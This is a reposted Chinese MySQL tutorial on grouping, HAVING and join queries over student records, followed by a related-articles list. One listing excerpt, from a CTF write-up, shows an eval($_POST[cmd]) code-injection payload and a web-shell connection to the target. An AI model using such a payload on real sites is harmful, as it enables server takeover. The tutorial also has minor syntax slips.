高级查询(一)

news2024/11/17 13:51:48

解决需求:Excel都可以轻松搞定

分组查询原理: 

语法: SELECT …<列名>

FROM <表名>

[WHERE<条件表达式> ] 

GROUP BY

参与分组的列 可以与 聚合函数作用的列 一块显示

注意 SELECT列表中只能包含:

1、被分组的列

2、其它返回一个值的表达式,如聚合函数


一、单列分组
-- 统计各年级的人数
select * from Student
select count(*) from student where GradeId=1;
select count(*) from student where GradeId=2;
select count(*) from student where GradeId=3;
select count(*) from student where GradeId=4; -- 之前的方式
-- 使用GROUP BY进行分组查询
select COUNT(StudentNo) as 人数, Gradeid 班级 from Student as 学生表 GROUP BY
Gradeid;
where 子句
sql 语句中使用 group by 这个子句实现分组,用 where 子句实现查询数据的过滤,在分组中需要过滤数据那么group by 跟在 where 子句后面。
--1 2 3 年级分别的平均成绩(带数据过滤的分组)
select * from result;
select AVG(StudentResult) 平均分,Subjectid as 年级 from Result where Subjectid
in(1,2,3)
group by Subjectid;
order by 子句
-- 123年级平均分 按平均成绩高低显示
-- 依然可以用order by 对我们的分组结果进行排序
-- (带数据过滤的分组 并排序)
select AVG(StudentResult) 平均分,Subjectid as 班级 from Result where Subjectid
in(1,2,3)
group by Subjectid order by AVG(StudentResult) desc;
having 子句
-- 筛选分组结果显示 having
-- 各班的所有学生平均成绩 良好 按低到高排列
select AVG(StudentResult) 平均分,Subjectid as 班级 from Result group by
Subjectid
having AVG(StudentResult)>=70 order by AVG(StudentResult);
书写顺序及说明:
select..... from...where( 过滤操作的数据 )
group by (分组操作)
having ( 筛选显示分组后的结果 )
....order by ( 对最后的分组结果进行排序 )
WHEREHAVING对比
WHERE 子句:用来筛选 FROM 子句中指定条件的数据行 , GROUP BY 子句:用来分组 WHERE 子句的
输出数据
HAVING 子句:用来从分组的结果中筛选数据

二、多列分组
解决需求: 对各年级学生再次进行分组,计算每组学生的总人数
--对多列进行分组 group by 后多列之间用,号就可了
--查询1 2 3班级 男 女 人数
select COUNT(StudentNo) as 人数,Sex 性别,Gradeld 班级 from Student where
Gradeld in(1,2,3)
group by Gradeld, Sex order by Gradeld

完整查询语法:
SELECT …… FROM < 表名 >
[WHERE] ……
[GROUP BY] ……
[HAVING].....
[ORDER BY]...

三、多表查询

解决需求:
--查分数 查询名字 需要多张表查询操作
select * from Student;
select * from Result;
select StudentResult 分数 from Result;
select StudentName 名字 from Student;

1、内联接
左右两张表联合查询,根据联合条件两张表都满足条件的数据被查询显示
A 、简单写法
语法
SELECT ……
FROM 1 ,表 2
WHERE …… 1.xxx= 2.xxxx( 连接条件必写 )
select a.* ,b.GradeName from Subject a,Grade b
where a.GradeId = b.GradeId;
select r.StudentResult 分数,s.* from Result r,Student s
where s.StudentNo=r.StudentNo;
B、关键字写法
语法:
SELECT ……
FROM 1
INNER JOIN 2
ON …… 连接条件
select a.* ,b.GradeName from Subject a inner join Grade b
on a.GradeId = b.GradeId;
select r.StudentResult 分数,s.* from Result r inner join Student s
on r.StudentNo=s.StudentNo;
三表联接
--三表查询 在上面的基础上请查询出相应科目的名字
select a.*,b.StudentName 名字,c.SubjectName 科目 from
Result a,Student b,Subject c
where a.StudentNo = b.StudentNo and a.SubjectId =c.SubjectId;
select r.*, s.SubjectName 科目名,c.StudentName from result as r inner join
`subject` as s inner join student c on r.SubjectId= s.SubjectId and
r.StudentNo = c.StudentNo;
2、外联接
A、左外联接
左外联接是以左表为基础的,左表的记录将会全部表示出来,而右表只会显示符合搜索条件的记录,右表记录不足的地方均为null
语法
SELECT ……
FROM 1
left JOIN 2
ON …… 连接条件
-- left join on
select * from Subject;
select * from Result;
-- 查询学号科目 成绩
select a.StudentNo 学号,a.SubjectId 科目号,a.StudentResult 成绩 ,b.SubjectName
from Result a left join Subject b
on a.SubjectId = b.SubjectId;
select a.*,b.GradeName 年级名称 from Student a left join Grade b
on a.GradeId = b.GradeId;
B、右外联接
右外联接是以右表为基础的,右表的记录将会全部表示出来,而左表只会显示符合搜索条件的记录,左表记录不足的地方均为null
语法
SELECT ……
FROM 1
right JOIN 2
ON …… 连接条件
-- 右外连接 right join on
select a.StudentNo 学号,a.StudentResult 成绩,b.StudentName 姓名
from Student b right join Result a
on a.StudentNo = b.StudentNo;
select a.* ,b.GradeName 年级名称 from Subject a right join Grade b
on a.GradeId = b.GradeId;

左表不符合条件的地方 填充 null
C 、全外联接(很遗憾 mysql 不支持,其它数据库有)
执行规则:返回左表和右表中的所有行,当某行在另一表中没有匹配行,则另一表中的列返回空值

 语法:

SELECT ……

FROM 表1

FULL OUT JOIN 表2

ON ……连接条件

select a.StudentNo 学号,a.SubjectId 科目号,a.StudentResult 成绩 ,b.SubjectName
from Result a full OUT join Subject b
on a.SubjectId = b.SubjectId
select a.* ,b.GradeName from Subject a full OUT join Grade b
on a.GradeId = b.GradeId

感谢大家的阅读,如有不对的地方,可以私信我,感谢大家!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1676241.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

i春秋-Test

题目 解题 参考WP https://blog.csdn.net/qq_40654505/article/details/107142533/目录扫描 复现wp payload为&#xff1a; search.php?searchtype5&tid&areaeval($_POST[cmd])使用蚁剑连接 http://eci-2ze4iyhwj7xvb68bsb2t.cloudeci1.ichunqiu.com:80/search.ph…

Springboot整合 Spring Cloud OpenFeign

1.OpenFeign简介 1.相比于Netflix Feign&#xff0c;OpenFeign支持Spring MVC注解&#xff0c;整合了Ribbon(springcloud在Hoxton.M2 RELEASED版本之后舍弃Ribbon。需手动引入spring-cloud-loadbalancer)和Nacos。 2.使得开发人员调用远程接口或者服务之间相互调用就像调用本地…

【智能优化算法】蛛蜂优化算法(Spider Wasp Optimizer,SWO)

蛛蜂优化算法(Spider Wasp Optimizer,SWO)是期刊“ARTIFICIAL INTELLIGENCE REVIEW”&#xff08;中科院二区 IF11.6&#xff09;的2023年智能优化算法 01.引言 蛛蜂优化算法(Spider Wasp Optimizer,SWO)基于对自然界中雌性黄蜂的狩猎、筑巢和交配行为的复制。该算法具有多种…

JavaFX布局-VBox

JavaFX布局-VBox 常用属性alignmentspacingchildrenmarginpaddingvgrow 实现方式Java实现Xml实现 综合案例 VBox按照垂直顺序从上到下排列其子节点改变窗口大小,不会该部整体布局窗口太小会遮住内部元素&#xff0c;不会产生滚动条 常用属性 alignment 对齐方式 参考枚举值&…

C++ 多态性

一 多态性的分类 编译时的多态 函数重载 运算符重载 运行时的多态 虚函数 1 运算符重载的引入 使用C编写程序时&#xff0c;我们不仅要使用基本数据类型&#xff0c;还要设计新的数据类型-------类类型。 一般情况下&#xff0c;基本数据类型的运算都是运算符来表达&#x…

识别公式的网站都有哪些?分享3个专业的工具!

在数字化时代&#xff0c;公式识别已成为一项重要技能。无论是学生、教师还是科研人员&#xff0c;都可能需要借助公式识别网站来快速准确地获取公式信息。那么&#xff0c;市面上到底有哪些值得一试的识别公式网站呢&#xff1f;本文将为您一一揭晓。 FUNAI FUNAI的公式识别功…

2024洗地机爆款榜单,哪个牌子洗地机值得买?助你轻松选对洗地机

随着现代生活节奏的加快&#xff0c;人们对于家庭清洁的需求也越来越高。家用洗地机作为一种高效清洁工具&#xff0c;能够帮助您轻松应对家庭地板的清洁问题&#xff0c;节省时间和精力。然而&#xff0c;在选择洗地机时&#xff0c;究竟哪个牌子的洗地机值得买呢&#xff1f;…

2024年网络安全岗位缺口已达100万,你该不会还不知道如何入门吧?

我发现最近安全是真的火&#xff0c;火到不管男女老少都想入门学一下。但是&#xff0c;要是真的问起他们&#xff0c;“你觉得网络安全是什么&#xff1f;为什么想学&#xff1f;”&#xff0c;十个人里不见得有一个人能逻辑清晰、态度坚定地回答出来。 作为一个时刻关注行业…

暗黑4可以搬砖吗?暗黑4怎么搬砖 搬砖攻略

暗黑4可以搬砖吗&#xff1f;暗黑4怎么搬砖 搬砖攻略 暗黑破坏神4属于是暴雪旗下一款经典游戏IP&#xff0c;在全世界有着广泛的玩家群体&#xff0c;更是在今年暴雪国服宣布回归之后&#xff0c;吸引了一大批新玩家加入。今天小编就为大家带来暗黑4的详细搬砖教程。 现在我们…

Leetcode—100296. 两个字符串的排列差【简单】

2024每日刷题&#xff08;135&#xff09; Leetcode—100296. 两个字符串的排列差 实现代码 class Solution { public:int findPermutationDifference(string s, string t) {int maps[26];int mapt[26];for(int i 0; i < s.size(); i) {int idxs s[i] - a;int idxt t[i…

服务器被后台爆破怎么处理

服务器后台遭受密码爆破攻击是网络安全中常见的威胁之一&#xff0c;这种攻击通过不断尝试不同的用户名和密码组合来破解系统登录凭证&#xff0c;一旦成功&#xff0c;攻击者便能非法访问系统资源。 本文将介绍如何识别此类攻击&#xff0c;并采取有效措施进行防御&#xff0c…

《四》系统模块整体功能关联与实现

在上一篇里&#xff0c;我们完成了动作的创建&#xff0c;那么这一次&#xff0c;我们把它加载到界面上&#xff0c;把需要是实现的动作都加上。 MyWord::MyWord(QWidget *parent): QMainWindow(parent) {mdiAreanew QMdiArea;mdiArea->setHorizontalScrollBarPolicy(Qt::S…

微信加粉计数器

1.采用非注入式开发&#xff0c;支持无限多开 2.每个账号都有独立的分组&#xff0c;实时远程网页数据分享 3.后台功能强大&#xff0c;操作简单&#xff0c;自动去重复&#xff0c;准确计数分秒不差

ubuntu使用交叉编译链编译FFTW动态库

一、从官方下载FFTW压缩包 1. 在 /usr/local 新建目录fftw目录&#xff0c; 将压缩包放在 /usr/local/fftw 中解压。 2.打开解压后的文件 导入环境变量&#xff1a; export PATH$PATH:/home/theer/workspace/a64/cqa64_linuxqt5.8_bv3s/buildroot-2017.02.3/output/host/…

C语言的打字小游戏

目录 游戏内容 伪代码 main 函数 随机字符串 匹配逻辑 用户决定是否继续或退出游戏 完整代码 从0开始记录我的学习历程&#xff0c;我会尽我所能&#xff0c;写出最最大白话的文章&#xff0c;希望能够帮到你&#xff0c;谢谢。 提示&#xff1a;文章作者为初学者&#xf…

HTML常用标签-布局相关标签

布局标签 div标签 俗称"块",主要用于划分页面结构,做页面布局 自己独占一行的元素&#xff0c;设置宽高生效 span标签 俗称"层",主要用于划分元素范围,配合CSS做页面元素样式的修饰 不会自己独占一行的元素&#xff0c;设置宽高不生效 代码 <div style&…

数据库SQL编写规范-SQL书写规范整理(SQL语句书写规范全解-Word原件)

编写本文档的目的是保证在开发过程中产出高效、格式统一、易阅读、易维护的SQL代码。 1 编写目 2 SQL书写规范 3 SQL编写原则 软件全套精华资料包清单部分文件列表&#xff1a; 工作安排任务书&#xff0c;可行性分析报告&#xff0c;立项申请审批表&#xff0c;产品需求规格说…

如何使用AzurEnum快速枚举Microsoft Entra ID(Azure AD)

AzurEnum是一款针对Azure的安全工具&#xff0c;在该工具的帮助下&#xff0c;广大研究人员可以轻松快速地枚举Microsoft Entra ID&#xff08;Azure AD&#xff09;。 该工具基于纯Python 3开发&#xff0c;可以在Windows和Linux系统上运行&#xff0c;但考虑到性能和稳定性&a…

iOS——runtime

什么是runtime 我们都知道&#xff0c;将源代码转换为可执行的程序&#xff0c;通常要经过三个步骤&#xff1a;编译、链接、运行。 C 语言 作为一门静态类语言&#xff0c;在编译阶段就已经确定了所有变量的数据类型&#xff0c;同时也确定好了要调用的函数&#xff0c;以及函…

数据库的存储过程、函数与触发器

使用下面的场景来引入 1.创建表 CREATE DATABASE staff; USE staff; CREATE TABLE employee(id INT NOT NULL AUTO_INCREMENT,userName VARCHAR(255),birthDate DATE,idCard VARCHAR(255),loginName VARCHAR(255),PASSWORD VARCHAR(255),mobile VARCHAR(255),email VARCHAR(2…